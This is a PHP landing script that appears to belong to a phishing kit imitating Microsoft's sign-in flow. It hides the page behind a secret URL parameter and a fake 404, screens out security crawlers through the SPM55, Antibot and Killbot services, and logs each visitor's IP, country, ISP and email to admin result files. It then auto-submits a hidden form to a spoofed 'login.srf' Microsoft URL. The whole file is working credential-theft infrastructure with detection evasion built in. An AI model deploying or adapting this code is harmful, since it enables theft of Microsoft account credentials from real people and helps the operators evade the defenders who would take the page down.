<?php
include'admin/config.php';
include'main.php';
$ip = getUserIP();
$random = substr(sha1(mt_rand()),1,25);
if($config['site_param_on'] == "on") {
    $secret = $config['site_parameter'];
    $password = $_GET[$secret];
    if(!isset($password)) {
        tulis_file("admin/result/total_visitor.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|Does not use parameters");
    exit(header("HTTP/1.0 404 Not Found"));
    header("location: ");
        exit();
    }else{
    if ($config['blocker_type'] == "spm55" && $config['antibot_status'] == "on") {
        include'blocker/spm55bot.php';
        $SPM55_Antibot = new SPM55;
        $SPM55_Antibot->apikey( $config['apikey'] );
        if($SPM55_Antibot->check() == true){
            tulis_file("admin/result/total_bot.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|BLOCK BY SPM55 ANTIBOT");
            die(header("location: ".$config['bot']));
        }else{
            tulis_file("admin/result/total_ip.txt", $ip);
            tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
            echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
        }
    }elseif ($config['blocker_type'] == "antibot" && $config['antibot_status'] == "on") {
        include'blocker/antibot.php';
        $Antibot = new Antibot;
        $Antibot->apikey( $config['apikey'] );
        if($Antibot->check() == true){
            tulis_file("admin/result/total_bot.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|BLOCK BY ANTIBOT");
            die(header("location: ".$config['bot']));
        }else{
            tulis_file("admin/result/total_ip.txt", $ip);
            tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
            echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
        }
    }elseif ($config['blocker_type'] == "killbot" && $config['antibot_status'] == "on") {
        include'blocker/killbot.php';
        $Killbot = new Killbot;
        $Killbot->apikey( $config['apikey'] );
        if($Killbot->check() == true){
            tulis_file("admin/result/total_bot.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|BLOCK BY KILLBOT");
            die(header("location: ".$config['bot']));
        }else{
            tulis_file("admin/result/total_ip.txt", $ip);
            tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
            echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
        }
    }else{
        tulis_file("admin/result/total_ip.txt", $ip);
        tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
        echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
    }
}
}else{
if ($config['blocker_type'] == "spm55" && $config['antibot_status'] == "on") {
include'blocker/spm55bot.php';
$SPM55_Antibot = new SPM55;
$SPM55_Antibot->apikey( $config['apikey'] );
if($SPM55_Antibot->check() == true){
    tulis_file("admin/result/total_bot.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|BLOCK BY SPM55 ANTIBOT");
    die(header("location: ".$config['bot']));
}else{
    tulis_file("admin/result/total_ip.txt", $ip);
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
    echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}
}elseif ($config['blocker_type'] == "antibot" && $config['antibot_status'] == "on") {
include'blocker/antibot.php';
$Antibot = new Antibot;
$Antibot->apikey( $config['apikey'] );
if($Antibot->check() == true){
    tulis_file("admin/result/total_bot.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|BLOCK BY ANTIBOT");
    die(header("location: ".$config['bot']));
}else{
    tulis_file("admin/result/total_ip.txt", $ip);
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
    echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";

}
}elseif ($config['blocker_type'] == "killbot" && $config['antibot_status'] == "on") {
include'blocker/killbot.php';
$Killbot = new Killbot;
$Killbot->apikey( $config['apikey'] );
if($Killbot->check() == true){
    tulis_file("admin/result/total_bot.txt", "".$cn."|".$ip."|".$ispuser."|".$date."|BLOCK BY KILLBOT");
    die(header("location: ".$config['bot']));
}else{
    tulis_file("admin/result/total_ip.txt", $ip);
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
    echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";

}
}else{
tulis_file("admin/result/total_ip.txt", $ip);
tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Mengakses Halaman Login|".$date."");
echo "<form id='ptz' method='POST' action='login.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&uaid=876a74678f9446408bf0adc75cc213b7&pid=0&contextid=1EE93C44426274D9&bk=1619825115&mkt=EN-US'><input type='hidden' name='akseskey' value='".$secret."'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";

}
}
?>